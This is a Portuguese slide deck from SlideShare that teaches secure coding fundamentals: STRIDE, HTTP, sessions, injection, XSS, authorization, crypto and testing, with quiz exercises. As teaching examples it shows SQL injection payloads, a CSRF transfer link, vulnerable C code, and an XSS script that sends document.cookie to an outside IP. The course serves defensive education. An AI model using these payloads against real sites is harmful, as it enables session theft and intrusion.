SlideShare uma empresa Scribd logo
1 de 85
O objetivo deste curso é capacitar os treinandos em Codificação
Segura – Fundamentos, com habilidades e conhecimento em
Secure Programming - Foundation.
Objetivo do Curso
“A revolução começa com a informação e termina
com o resultado."
(Bernardo Morais)
Público-Alvo
 Todos que desejam ter conhecimento em Fundamentos de Programação
Segura
 Todos que tenham interesse no desenvolvimento de softwares seguros e
auditores que irão trabalhar com o Framework Secure Software.
Alcyon Junior
Head of Cyber Security na
POUPEX
Três graduações
Redes de
Computadores
Pós em Redes pela
Cisco | MBA em
Governança de TI |
Pós em
CyberSecurity
Mestrado em
Segurança
Cibernética
Autor de livros
sobre Segurança
Cibernética
EHF | ISO27002
| ITILF | CNAP |
CEH | MVM |
LPIC-1
Instrutor
credenciado
pela EXIN e
Líder da OWASP
BSB
#WHOAMI
http://t.me/SecCastOficial
@SecCastOficial
Autor do capítulo 19
Configurações de segurança
DISCLAIMER
The information contained in this document may be privileged
and confidential and protected from disclosure. If the reader of
this document is not the intended recipient, or an employee
agent responsible for delivering this document to the
intended recipient, you are hereby notified that any
dissemination, distribution or copying of this communication is
strictly prohibited.
MÓDULO
INTRODUÇÃO
Objetivos
Reconhecer a tensão entre as exigências do mercado e a segurança
Explicar o jargão de segurança e STRIDE
Descrever questões de segurança HTTP
Explicar o modelo de segurança do navegador
Hackers roubaram dados de mais de 2
milhões de clientes da T-Mobile
Dados capturados: nome, e-mail, código postal, número de telefone, e tipo
das contas (pré ou pós-pago).
detectado e contido na segunda-feira, dia 20
3% da base de 77 milhões de clientes foi afetada
hackers – parte de um “grupo internacional” – utilizaram uma API para
acessar o servidor de dados, que foi desativada rapidamente.
houve o comprometimento de um domínio interno de acesso restrito a
funcionários.
O domínio estava respondendo requisições vindas da internet com
informações confidenciais.
Faltava um sistema de controle de borda que validasse as comunicações
11
12
13
Causas do Software Inseguro
• Falta de tempo ou falta de dinheiro
• O cliente não solicitou
• Falta de conhecimento
• Más Intenções
• Ninguém vai querer invadir o meu software
O que é Segurança?
A Segurança pode ser definida como a proteção contra ameaças
Jargões de Segurança
Fraqueza Uma construção errada que pode prejudicar o sistema e reduzir a segurança.
Vulnerabilidade Uma fraqueza que pode ser explorada.
Explorar Abusar de uma vulnerabilidade específica, tirar proveito com más intenções de alguma falha
específica do sistema.
Ataque Uma tentativa de abusar do sistema, uma tentativa de acesso sem autorização a um sistema.
Ameaça Um potencial ataque.
Mitigar Uma medida para diminuir o impacto da ameaça.
Patch ou Remendo Uma medida para remover a vulnerabilidade de um sistema, corrigir uma falha de um sistema.
Risco Uma potencial perda de valor, usualmente expressada como a probabilidade do impacto de
perder onde se poderia ganhar.
Propriedades de Segurança
São propriedades de Segurança
Autenticação Verifica a identidade, se a pessoa ou algo é realmente quem alega ser.
Integridade a informação deve manter as características originais estabelecidas pelo
dono da informação.
Não repúdio impossibilidade de negar a autoria em relação a uma transação feita.
Confidencialidade o acesso deve ser realizado apenas por pessoas autorizadas.
Disponibilidade a informação deve estar sempre disponível a usuários autorizados.
Autorização verifica os privilégios, se a pessoa ou algo tem permissão para acessar
algum recurso ou informação.
STRIDE
S Spoofing
Forjamento de
Identidade
Fingir ser alguém ou
algo que você não é
Autenticação
A2-Broken Authentication
and Session Management;
A3-Cross-Site Scripting (XSS)
T Tampering
Adulteração de
Dados
Modificar dados
armazenados ou dados
em trânsito
Integridade
A1-Injection;
A3-Cross-Site Scripting (XSS);
A4- Insecure Direct Object
References;
A6- Sensitive Data Exposure
R Repudiation Rejeição
Negar que fez ou não
fez algo
Não Repúdio
AA2-Broken Authentication and
Session Management;
A10-Unvalidated Redirects and
Forwards
I
Information
Discosure
Divulgação de
Informações
Ver informações que
você não está
permitido a ver
Confidencialidade
A1-Injection;
A3- Cross-Site Scripting (XSS);
A4- Insecure Direct Object
References;
A6- Sensitive Data Exposure
D Denial of Service Recusa de Serviço
Negar um serviço,
deixar o sistema
indisponível.
Disponibilidade
A5-Security Misconfiguration;
A9- Using Components with
Known Vulnerabilities
E
Elevation of
Privilege
Elevação de
Privilégio
Fazer algo sem
permissão
Autorização
A2-Broken Authentication and
Session Management;
A7- Missing Function Level
Access Control;
A8- Cross-Site Request Forgery
(CSRF)
Superfície de Ataque e Zonas Confiáveis
Superfície de Ataque Zona de Confiança
Limite de Confiança
Defesa em Profundidade administra o risco, de modo que se uma camada de
defesa é inadequada, outra camada de defesa irá impedir a violação completa.
Falha Segura configura o tratamento de possíveis falhas do sistema que tratam
os possíveis erros que o software venha a ter.
Protocolo HTTP
O HTTP é um protocolo que consiste em requisição e resposta.
Possui dois métodos principais que são:
 GET: é destinado a operações de leitura
 POST: modifica o estado do aplicativo
O padrão HTTP não e claro em certos aspectos. Isso pode levar a equívocos. Este problema é
chamado de Poluição de Parâmetro ou HPP - HTTP Parameter Pollution. São falhas no processo de
validação da entrada de dados
Protocolo HTTP
Código 404 – recurso não encontrado
Código 401 – janela de login
Código 403 – acesso proibido
Código 302 – redireciona a página para a URL especificada no cabeçalho
“Location”
Código 200 – tudo ok
As solicitações AJAX funcionam como uma solicitação assíncrona dentro do navegador, usa
o XMLHttpRequest para se comunicar com os scripts do lado do servidor. Enviam o
seguinte cabeçalho:
X-Request-With: XmlHttpRequest
GET
http://localhost/insecure/public/Login.jsp?login=admin&pass
admin HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 Gecko/20100101 Firfox/14.0.1
Accept:
text/html,application/xhtml+xml,application/xml;q0.9,*/*;q0
.8
Accept-Language: en-us,en;q0.5
Proxy-Connection: keep-alive
Referer: http://localhost/insecure/public/Login.jsp
Cookie: JSESSIONID=73A4496C2B6C846B5E8D8C9DDDBD9D24
GET é mais rápido, envia somente texto, anexada à própria URL, tem
uma limitação de 255 caracteres
Solicitação GET
Cabeçalho de Resposta HTTP
Content-Type
X-Content-Type-Options
Content-disposition
Location
WWW-Authenticate
Set-Cookie
Cache-control
Ataque de
Divisão de
Resposta
HTTP
CRLF é um caractere de
avanço de linha. Uma
CRLF dupla irá incluir uma
linha em branco e pode
permitir um ataque de
injeção de cabeçalho
HTTP
Ataque de
Injeção de
Cabeçalho
HTTP
Técnica maliciosa que
redireciona para
sequestrar a sessão e
roubar a informação ou
ainda injetar códigos no
computador da vítima.
SOP – Política de Mesma Origem
Política de Mesma Origem ou Same Origin Policy - SOP
• Descreve sob quais condições scripts e programas em sites
podem acessar o conteúdo em outros sites.
• Os detalhes desta política diferem por navegadores e até por
versão dos navegadores.
Revisão
Jargões e Princípios de Segurança
STRIDE
Superfícies de Ataque e Zonas de Ataque
Defesa em Profundidade e Falhar Seguro
GET e POST
HTTP e Códigos de Status
Cabeçalho HTTP
Ataques no Cabeçalho de Resposta HTTP
Política de Mesma Origem
Exercícios
A que se refere a letra ‘S’ do acrônimo STRIDE ?
A. Divulgação de Informações
B. Segurança da Informação
C. Forjamento de Identidade
D. Recusa de Serviço
MÓDULO
GERENCIAMENTO DE SESSÃO E
AUTENTICAÇÃO
Objetivos
• Identificar problemas envolvidos no uso de senha.
• Aplicar princípios de gerenciamento de senhas.
• Explicar como funciona o gerenciamento de sessão.
• Reconhecer problemas em gerenciamento de sessão.
• Reconhecer as melhores soluções para problemas em gerenciamento de sessão.
• Reconhecer problemas e soluções de CSRF e Clickjacking.
Senhas
• Entropia da Senha
• Senhas longas versus senhas complexas
• Mitigações
• Tentativas de Autenticação
• Atraso
• Bloqueio de conta
• Armazenamento de Senha
Gerenciamento de sessão
Logon
Entrar
Início da Sessão
 Longa ID de sessão
 Sem reuso de ID de sessão
 Enviar cookies via canal encriptado
Atualiza
Sessão
Direto após o log-on
Invalida a sessão anterior
Logout
Sair
Invalida a sessão
CSRF e Clickjacking
• Cross-Site Request Forgery (CSRF) ou Falsificação de
Solicitação Cruzada entre Sites;
• Clickjacking;
WebSite
Malicioso
CSRF
<form action="transfer.do" method="GET">
<input type="text" name="acct" value="BETO">
<input type="text" name="amount" value="100">
</form>
CSRF
GET /transfer.do?acct=BETO&amount=100 HTTP/1.1
Host: bank.com
(...)
GET /transfer.do?acct=BETO&amount=50 HTTP/1.1
Host: bank.com
(...)
CSRF
GET /transfer.do?acct=HACKER&amount=500 HTTP/1.1
Host: bank.com
(...)
Para explorar a vulnerabilidade, o atacante prepara um link específico para tirar vantagem desta transação:
http://bank.co/transfer.do?acct=HACKER&amount=500
Clickjacking
DEMO
Revisão
Senha
Gerenciamento de Sessão
CSRF
ClikJacking
Exercício
O que mais se aproxima ao conceito de Clickjacking:
A. Roubo de Senhas de autenticação por força bruta;
B. Acontece quando o invasor prepara uma armadilha e utiliza CSS ou JavaScript
para fazer com que a vítima clique em algo que não tem intenção,
ocasionando um furto de cliques;
C. Ocorre quando um site realiza uma solicitação ou uma referência cruzada em
outro site sem o consentimento do usuário;
D. Método utilizado para invalidar uma sessão ativa em HTTP;
MÓDULO
MANEJO DE ENTRADA DE USUÁRIO
Objetivos
• Reconhecer os problemas de ataques de injeção.
• Explicar a diferença entre consultas diretas e parametrizadas.
• Aplicar soluções para ataques de injeção SQL.
• Explicar a diferença entre filtros de lista branca (whitelist) e lista negra (blacklist).
• Aplicar validação de entrada.
• Reconhecer quando aplicar normalização de entrada e codificação.
• Identificar onde ocorrem estouros de buffer e como eles impactam a segurança.
• Reconhecer a diferença entre ataques XSS refletidos e armazenados e as
mitigações.
• Aplicar soluções para ataques XSS.
Ataques de injeção – injeção de SQL
SELECT * FROM Users WHERE Username='$username' AND
Password='$password'
1' or '1' = '1
1' or '1' = ‘1
Resultado da Query:
SELECT * FROM Users WHERE Username='1' OR '1' =
'1' AND Password='1' OR '1' = '1'
Ataques de injeção – injeção de SQL
DEMO
Ataques de injeção – injeção de SQL
http://192.168.15.51/cgi-
bin/badstore.cgi?searchquery=1%27%3D%270%27+UNION+
SELECT+1%2C+1%2C+1%2C+1+from+userdb+%23+&action=se
arch&x=0&y=0
1'='0' UNION SELECT 1, 1, 1, 1 from userdb #
• Não use SQL dinâmico quando puder ser evitado: use instruções preparadas, consultas
parametrizadas ou procedimentos armazenados, sempre que possível.
• Atualização e correção: vulnerabilidades em aplicativos e bancos de dados que hackers podem
explorar usando SQL injection são regularmente descobertas, por isso é vital aplicar patches e
atualizações assim que possível.
• Reduza sua superfície de ataque: Livre-se de qualquer funcionalidade de banco de dados que
você não precise impedir que um hacker tire vantagem disso. Por exemplo, o procedimento
armazenado estendido xp_cmdshell no MS SQL gera um shell de comando do Windows e passa
uma cadeia para execução, o que pode ser muito útil para um hacker. O processo do Windows
gerado por xp_cmdshell tem os mesmos privilégios de segurança que a conta de serviço do SQL
Server.
• Use os privilégios apropriados: não se conecte ao seu banco de dados usando uma conta com
privilégios de nível de administrador, a menos que haja algum motivo convincente para fazê-lo.
Usar uma conta de acesso limitado é muito mais seguro e pode limitar o que um hacker é capaz
de fazer.
4 dicas para mitigar os Ataques de SQLi
Validação de entrada
• Lista negra
• Lista branca
Estouros de buffer ou
Transbordamento de Buffer
#include <stdio.h>
#include <stdlib.h>
#define BUFLEN 80
void doit(int offset)
{
char buffer[BUFLEN];
gets(&buffer[offset]);
/* do more */
}
int main(void)
{
doit(0);
return 0;
}
O Cross-Site-Scripting ou
Script Cruzado entre Sites (XSS)
Hacker Vítima Seu site
Browser/app
/WWW
Infecta com script
Explora
Visita
Injeta script
Explora
Ataques de XSS
<script>alert("HaCkEd by AlcyJones")</script>
<script>new Image()
.src="http://192.168.1.10/alcyonjones.php?output="
+document.cookie;</script>
Revisão
Ataques de SQL Injection
Validação de Entrada
Estouro de Buffer
XSS
Exercícios – Soluções para SQL Injection
Qual destas alternativas não é uma solução possível para evitar
ataques de SQL Injection?
A. Realizar consultas parametrizadas;
B. Utilizar a técnica de saída para neutralizar meta-
caracteres;
C. Realizar a validação de entrada;
D. Realizar um CSRF;
Exercício - Validação de Entrada
Quais destes não é um método aplicável à validação de entrada?
A. Lista Branca e Lista Preta
B. Higienização
C. Buffer Overflow ou Transbordamento de Buffer.
D. Usar expressões regulares
Exercício
O cross-site scripting ou XSS ou script cruzado entre sites é um ataque
onde um invasor pode executar um JavaScript na saída. Qual destes não
é um tipo de XSS?
A. XSS de Transbordamento de Pilha;
B. XSS Refletido;
C. XSS Armazenado;
D. XSS baseado em DOM;
MÓDULO
AUTORIZAÇÃO
Objetivos
Reconhecer a diferença entre autorização horizontal e vertical.
Reconhecer a diferença entre referências diretas e indiretas.
Reconhecer envenenamento de sessão e condições de corrida.
Autorização de horizontal e Vertical
Editor Jornalista A Jornalista B
Criar X
√ √
Leitura
√ √ √
Modificar
√ √ √
Publicar
√
X X
Problemas de Autorização
Escalonamento de Privilégios;
Acesso a Objetos Não Autorizados;
Como mitigar estes problemas?
Condições de corrida (ataque TOCTOU)
if (!access("/tmp/mydata.txt",W_OK)) {
// TOC: verifica se tem permissões de
escrita
// ...
// JANELA DE ATAQUE
f = fopen("/tmp/mydata.txt","w+");
// TOU: abre o arquivo para edição
write_data_to_file(f);
} else {
fprintf(stderr,“Não é permitido abrir o
arquivo!n");
}
Revisão
Autorização Horizontal e Vertical
Escalada de Privilégios
Problemas de Autorização e Como Mitigar estes Problemas
Condições de Corrida
Envenenamento de Sessão
Exercício
Qual a diferença entre Autorização e Autenticação?
A. Autorização é o processo de verificar a identidade de alguém e Autenticação é
o processo de verificar se alguém tem permissão para realizar uma operação.
B. Autenticação é o processo de verificar a identidade de alguém e Autorização é
o processo de verificar se alguém tem permissão para realizar uma operação.
C. Autenticação e Autorização são processos para verificar a identidade de
alguém.
D. Autenticação e Autorização são processos para verificar se alguém tem
permissão para realizar uma operação.
MÓDULO
CONFIGURAÇÃO, MANEJO E REGISTRO DE
ERROS
Objetivos
Justificar a necessidade de endurecimento.
Reconhecer métodos de endurecimento.
Reconhecer diferentes vazamentos de informação.
Explicar a importância do registro para a segurança.
Explicar o princípio de 'Falhar com Segurança'.
Reconhecer ataques por recusa de serviço e mitigações.
Componentes de Terceiros, Configuração e
Endurecimento
Aplicando os patches ou correções de segurança
mais recentes
Restringir o acesso a funcionalidades perigosas
Configurando privilégios de acesso
Desativar ou remover recursos de depuração (debug)
Removendo arquivos desnecessários
Alterando senhas padrão
Vazamentos de informações
• Inocente?
• Não ajude o hacker.
• Exemplos de vazamento:
• Comentários HTML
• Informações sobre a versão
• Rastreamento de Pilha, IP e servidores em Produção
• Endereços de e-mail pessoais
Como evitar definitivamente o
Vazamentos de informações
• Os cabeçalhos de resposta HTTP vazam informações de versão, permitindo ao
invasor procurar por vulnerabilidades específicas.
• As páginas de erro pode exibir exatamente como o erro aconteceu, dando ao
atacante pistas de como a vulnerabilidade poderia ser explorada.
• Endereços IP internos e caminhos de servidores ajudam o atacante a definir
novas metas depois que um sistema tenha sido comprometido ou se o
atacante usa o browser de alguém para realizar ataques de dentro.
• Comentários nas páginas HTML mostrando os nomes e emails ajudam a
realizar o ataque de engenharia social.
• Arquivos de gerenciamento de versão podem vazar informações do código
fonte da aplicação.
Manejo e Registro de erros
• Falhar de forma segura!
• Guarde todas as informações necessárias para detectar um ataque. (Logs)
• Tratamento de Erros
• Registro de Erros ou Logs
Recusa de Serviço (Distribuído) - dDoS
Hacker
Vitima
5 dicas para mitigar o dDos
•Mitigar:
- Limitar a quantidade de recursos que podem ser alocados
- Utilizar ferramentas que auxiliam contra o DoS ou DDoS
- Aplicar patches de segurança
- Limitar o tamanho da banda
- Construir um plano de contingência
Revisão
Configuração
Endurecimento
Vazamento de informações
Registro e Tratamento de Erros
Negação de Serviço, DOS ou DDoS
Exercício
Qual a diferença entre Autorização e Autenticação?
A. Autorização é o processo de verificar a identidade de alguém e Autenticação é
o processo de verificar se alguém tem permissão para realizar uma operação.
B. Autenticação é o processo de verificar a identidade de alguém e Autorização é
o processo de verificar se alguém tem permissão para realizar uma operação.
C. Autenticação e Autorização são processos para verificar a identidade de
alguém.
D. Autenticação e Autorização são processos para verificar se alguém tem
permissão para realizar uma operação.
Exercício
Qual das alternativas lista um meio de endurecimento, visando reduzir a
superfície de ataque de um software ?
A. Evitar aplicar patches ou pacotes de correção;
B. No caso de erro, exibir registro com todos os IPs utilizados, inclusive dos
servidores de produção internos;
C. Alterar senhas padrão;
D. Manter acesso as funcionalidades perigosas ou desnecessárias.
MÓDULO
CRIPTOGRAFIA
Objetivos
Explicar a importância do Princípio de Kerckhoff, Manejo de Chaves e
Aleatoriedade.
Descrever a criptografia de chave pública, ataques de homem do meio e
certificados.
Reconhecer as ameaças a SSL/TLS/HTTPS.
Aplicar HTTPS corretamente.
Princípio de Kerckhoff
Um bom algoritmo de criptografia não deve depender do sigilo do próprio algoritmo.
A única parte que precisa ser secreta é a chave.
Auguste Kerckhoffs, 1883
Criptografia de chave pública
HTTPS
Revisão
Criptografia Simétrica e Assimétrica
Chave pública e chave privada
Ataque Homem-do-Meio ou Man-In-The-Midde
Certificado Digital
HTTPS
HSTS
Exercício
Como aplicar corretamente o HTTPS? Escolha uma das alternativas:
A. Utilizar sempre a criptografia mais forte possível (CIPHER – CIFRA);
B. Permitir tanto o uso do HTTP quanto do HTTPS;
C. Implementar a verificação do certificado, verificar se a autoridade que emitiu
o certificado não está comprometida, se a chave não está comprometida, se
o certificado não foi revogado;
D. Ignorar os alertas e mensagens de certificado inválido;
MÓDULO
ENGENHARIA DE SOFTWARE SEGURO
Objetivos
Identificar requisitos de segurança em falta.
Reconhecer ambiguidades e pressupostos ocultos em determinadas condições e
contextos.
Reconhecer ameaças que são inerentes a uma arquitetura específica.
Reconhecer soluções adequadas a ameaças e as imperfeições nessas soluções.
Reconhecer o escopo, objetivo e vantagens da revisão de código para as práticas
de desenvolvimento.
Lembrar diferentes métodos para testes de segurança.
Reconhecer o melhor teste para um determinado cenário.
Identificar formas de melhorar o desenvolvimento de software e processos de
testes, incorporando resultados de testes.
Requisitos de segurança
• Sua Importância
• STRIDE
#DICA – STRIDE para Requisito de Seg
S Forjamento de Identidade / Requisito de Segurança Autenticação, uso de senhas
T Adulteração de Dados / Requisito de Segurança Integridade, manipulação ou validação de entrada
R Rejeição / Requisito de Segurança Não rejeição, registro
I Divulgação de Informações / Requisito de Segurança Confidencialidade, criptografia
D Recusa de Serviço / Requisito de Segurança Disponibilidade, limitar o consumo de recursos
E Elevação de Privilégios / Requisito de Segurança Autorização, realizar verificações de autorização
Design Seguro
Group
member
Group
member
Group
administrator
Group
administrator
Web
server
Web
server
Mobile
app
Mobile
app
System administratorSystem administrator
Mobile
app
Mobile
app
GUI
events
GUI
events
SOAP
HTTP
responses
HTTP
requests
SOAP
SQL
AgentAgent
ProcessProcessDatabase
Data store
Data flow
Codificação Segura
• Enumeração das Fraquezas Comuns de Projetos
• Revisões de Código
• Ferramentas de Análise Estática
Testes de Segurança
Testes de penetração;
Testes de abuso;
Varreduras de vulnerabilidade;
Fuzzing;
Testes de Feedback;
Revisão
Requisitos de Segurança
Design Seguro
Codificação Segura
Testes de Segurança
Exercício
Quais destes é uma técnica de Teste de Segurança que pode gerar uma
grande quantidade de dados de testes, executar os testes a partir dos
dados gerados, monitorar os resultados e reestabelecer o sistema em
caso de falha?
A. Teste de Penetração
B. Teste de Abuso
C. Teste de Feedback
D. Fuzzing
VAMOS PENSAR UM POUCO?
“- aquele que conhece o inimigo e a si mesmo,
lutará cem batalhas sem perigo de derrota;
- para aquele que não conhece o inimigo, mas
conhece a si mesmo, as chances para a vitória ou
para a derrota serão iguais;
- aquele que não conhece nem o inimigo e nem a si
próprio, será derrotado em todas as batalhas.”
SunTzu (A arte da Guerra)

Mais conteúdo relacionado

Mais procurados

Explorando 5 falhas graves de segurança que todos programadores cometem
Explorando 5 falhas graves de segurança que todos programadores cometem Explorando 5 falhas graves de segurança que todos programadores cometem
Explorando 5 falhas graves de segurança que todos programadores cometem Alcyon Ferreira de Souza Junior, MSc
 
Segurança em Aplicações Web
Segurança em Aplicações WebSegurança em Aplicações Web
Segurança em Aplicações WebCassio Ramos
 
Segurança em Aplicações Web conforme OWASP
Segurança em Aplicações Web conforme OWASPSegurança em Aplicações Web conforme OWASP
Segurança em Aplicações Web conforme OWASPFabiano Pereira
 
OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...
OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...
OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...Clavis Segurança da Informação
 
Teste seguranca aplicacoes web security testing
Teste seguranca aplicacoes web security testingTeste seguranca aplicacoes web security testing
Teste seguranca aplicacoes web security testingCristiano Caetano
 
Segurança em aplicações web: pequenas ideias, grandes resultados
Segurança em aplicações web: pequenas ideias, grandes resultadosSegurança em aplicações web: pequenas ideias, grandes resultados
Segurança em aplicações web: pequenas ideias, grandes resultadosAlex Camargo
 
Aprendendo a atacar (e proteger) aplicações web através de jogos de guerra
Aprendendo a atacar (e proteger) aplicações web através de jogos de guerraAprendendo a atacar (e proteger) aplicações web através de jogos de guerra
Aprendendo a atacar (e proteger) aplicações web através de jogos de guerraClavis Segurança da Informação
 
Tutorial: Principais Vulnerabilidades em Aplicações Web – Rafael Soares Ferre...
Tutorial: Principais Vulnerabilidades em Aplicações Web – Rafael Soares Ferre...Tutorial: Principais Vulnerabilidades em Aplicações Web – Rafael Soares Ferre...
Tutorial: Principais Vulnerabilidades em Aplicações Web – Rafael Soares Ferre...Clavis Segurança da Informação
 
Clavis e Cyberark promovem almoço para sobre soluções para a área de Seguranç...
Clavis e Cyberark promovem almoço para sobre soluções para a área de Seguranç...Clavis e Cyberark promovem almoço para sobre soluções para a área de Seguranç...
Clavis e Cyberark promovem almoço para sobre soluções para a área de Seguranç...Clavis Segurança da Informação
 
Desenvolvimento Seguro de Software - 10o Workshop SegInfo - Apresentação
Desenvolvimento Seguro de Software - 10o Workshop SegInfo - ApresentaçãoDesenvolvimento Seguro de Software - 10o Workshop SegInfo - Apresentação
Desenvolvimento Seguro de Software - 10o Workshop SegInfo - ApresentaçãoClavis Segurança da Informação
 
"Técnicas e Ferramentas para Auditorias Testes de Invasão"
"Técnicas e Ferramentas para Auditorias Testes de Invasão" "Técnicas e Ferramentas para Auditorias Testes de Invasão"
"Técnicas e Ferramentas para Auditorias Testes de Invasão" Clavis Segurança da Informação
 
Segurança de Redes
Segurança de RedesSegurança de Redes
Segurança de RedesCassio Ramos
 
Impacto sobre o Negócio da Exploração de Vulnerabilidades de Injeção em Aplic...
Impacto sobre o Negócio da Exploração de Vulnerabilidades de Injeção em Aplic...Impacto sobre o Negócio da Exploração de Vulnerabilidades de Injeção em Aplic...
Impacto sobre o Negócio da Exploração de Vulnerabilidades de Injeção em Aplic...Clavis Segurança da Informação
 
Global Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
Global Azure Bootcamp - Recursos de Segurança para Aplicações no AzureGlobal Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
Global Azure Bootcamp - Recursos de Segurança para Aplicações no AzureRubens Guimarães - MTAC MVP
 
Descobrindo (e Explorando) Vulnerabilidades em Aplicações Web com o Wmap
Descobrindo (e Explorando) Vulnerabilidades em Aplicações Web com o WmapDescobrindo (e Explorando) Vulnerabilidades em Aplicações Web com o Wmap
Descobrindo (e Explorando) Vulnerabilidades em Aplicações Web com o WmapClavis Segurança da Informação
 

Mais procurados (20)

Explorando 5 falhas graves de segurança que todos programadores cometem
Explorando 5 falhas graves de segurança que todos programadores cometem Explorando 5 falhas graves de segurança que todos programadores cometem
Explorando 5 falhas graves de segurança que todos programadores cometem
 
Segurança em Aplicações Web
Segurança em Aplicações WebSegurança em Aplicações Web
Segurança em Aplicações Web
 
Segurança em Aplicações Web conforme OWASP
Segurança em Aplicações Web conforme OWASPSegurança em Aplicações Web conforme OWASP
Segurança em Aplicações Web conforme OWASP
 
OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...
OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...
OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...
 
Teste seguranca aplicacoes web security testing
Teste seguranca aplicacoes web security testingTeste seguranca aplicacoes web security testing
Teste seguranca aplicacoes web security testing
 
Ameacas e Vulnerabilidades em Apps Web-2013
Ameacas e Vulnerabilidades em Apps Web-2013Ameacas e Vulnerabilidades em Apps Web-2013
Ameacas e Vulnerabilidades em Apps Web-2013
 
Segurança em aplicações web: pequenas ideias, grandes resultados
Segurança em aplicações web: pequenas ideias, grandes resultadosSegurança em aplicações web: pequenas ideias, grandes resultados
Segurança em aplicações web: pequenas ideias, grandes resultados
 
Aprendendo a atacar (e proteger) aplicações web através de jogos de guerra
Aprendendo a atacar (e proteger) aplicações web através de jogos de guerraAprendendo a atacar (e proteger) aplicações web através de jogos de guerra
Aprendendo a atacar (e proteger) aplicações web através de jogos de guerra
 
Tutorial: Principais Vulnerabilidades em Aplicações Web – Rafael Soares Ferre...
Tutorial: Principais Vulnerabilidades em Aplicações Web – Rafael Soares Ferre...Tutorial: Principais Vulnerabilidades em Aplicações Web – Rafael Soares Ferre...
Tutorial: Principais Vulnerabilidades em Aplicações Web – Rafael Soares Ferre...
 
THE WebSec
THE WebSecTHE WebSec
THE WebSec
 
Treinamento ajax 05
Treinamento ajax   05Treinamento ajax   05
Treinamento ajax 05
 
Testes de segurança em aplicações web
Testes de segurança em aplicações webTestes de segurança em aplicações web
Testes de segurança em aplicações web
 
PHP Seguro em 2013
PHP Seguro em 2013PHP Seguro em 2013
PHP Seguro em 2013
 
Clavis e Cyberark promovem almoço para sobre soluções para a área de Seguranç...
Clavis e Cyberark promovem almoço para sobre soluções para a área de Seguranç...Clavis e Cyberark promovem almoço para sobre soluções para a área de Seguranç...
Clavis e Cyberark promovem almoço para sobre soluções para a área de Seguranç...
 
Desenvolvimento Seguro de Software - 10o Workshop SegInfo - Apresentação
Desenvolvimento Seguro de Software - 10o Workshop SegInfo - ApresentaçãoDesenvolvimento Seguro de Software - 10o Workshop SegInfo - Apresentação
Desenvolvimento Seguro de Software - 10o Workshop SegInfo - Apresentação
 
"Técnicas e Ferramentas para Auditorias Testes de Invasão"
"Técnicas e Ferramentas para Auditorias Testes de Invasão" "Técnicas e Ferramentas para Auditorias Testes de Invasão"
"Técnicas e Ferramentas para Auditorias Testes de Invasão"
 
Segurança de Redes
Segurança de RedesSegurança de Redes
Segurança de Redes
 
Impacto sobre o Negócio da Exploração de Vulnerabilidades de Injeção em Aplic...
Impacto sobre o Negócio da Exploração de Vulnerabilidades de Injeção em Aplic...Impacto sobre o Negócio da Exploração de Vulnerabilidades de Injeção em Aplic...
Impacto sobre o Negócio da Exploração de Vulnerabilidades de Injeção em Aplic...
 
Global Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
Global Azure Bootcamp - Recursos de Segurança para Aplicações no AzureGlobal Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
Global Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
 
Descobrindo (e Explorando) Vulnerabilidades em Aplicações Web com o Wmap
Descobrindo (e Explorando) Vulnerabilidades em Aplicações Web com o WmapDescobrindo (e Explorando) Vulnerabilidades em Aplicações Web com o Wmap
Descobrindo (e Explorando) Vulnerabilidades em Aplicações Web com o Wmap
 

Semelhante a Desenvolvimento seguro - WorkSec 2019

Explorando 5 falhas graves de segurança que os programadores sempre cometem
Explorando 5 falhas graves de segurança que os programadores sempre cometemExplorando 5 falhas graves de segurança que os programadores sempre cometem
Explorando 5 falhas graves de segurança que os programadores sempre cometemAlcyon Ferreira de Souza Junior, MSc
 
OWASP TOP 10 - Web Security
OWASP TOP 10 - Web SecurityOWASP TOP 10 - Web Security
OWASP TOP 10 - Web SecurityMarlon Bernardes
 
CWI - Núcleo de tecnologia - OWASP Top Ten
CWI - Núcleo de tecnologia - OWASP Top TenCWI - Núcleo de tecnologia - OWASP Top Ten
CWI - Núcleo de tecnologia - OWASP Top TenPOANETMeetup
 
Segurança em Aplicativos Web
Segurança em Aplicativos WebSegurança em Aplicativos Web
Segurança em Aplicativos WebSergio Henrique
 
Aula 1 - Testando a Segurança de Sua Aplicação Web
Aula 1 - Testando a Segurança de Sua Aplicação WebAula 1 - Testando a Segurança de Sua Aplicação Web
Aula 1 - Testando a Segurança de Sua Aplicação WebMatheus Fidelis
 
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEBFIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEBErick Belluci Tedeschi
 
[DTC21] Rodrigo Branas - Segurança na Web: Será que o seu sistema está realme...
[DTC21] Rodrigo Branas - Segurança na Web: Será que o seu sistema está realme...[DTC21] Rodrigo Branas - Segurança na Web: Será que o seu sistema está realme...
[DTC21] Rodrigo Branas - Segurança na Web: Será que o seu sistema está realme...Deep Tech Brasil
 
Desenvolvimento de Software Seguro
Desenvolvimento de Software SeguroDesenvolvimento de Software Seguro
Desenvolvimento de Software SeguroAugusto Lüdtke
 
Seguranca e Criptografia de Dados
Seguranca e Criptografia de DadosSeguranca e Criptografia de Dados
Seguranca e Criptografia de DadosFelipe Plattek
 
Desenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHPDesenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHPFlavio Souza
 
Saindo do 0x0 sobre segurança em aplicações web
Saindo do 0x0 sobre segurança em aplicações webSaindo do 0x0 sobre segurança em aplicações web
Saindo do 0x0 sobre segurança em aplicações webIgor Carneiro
 
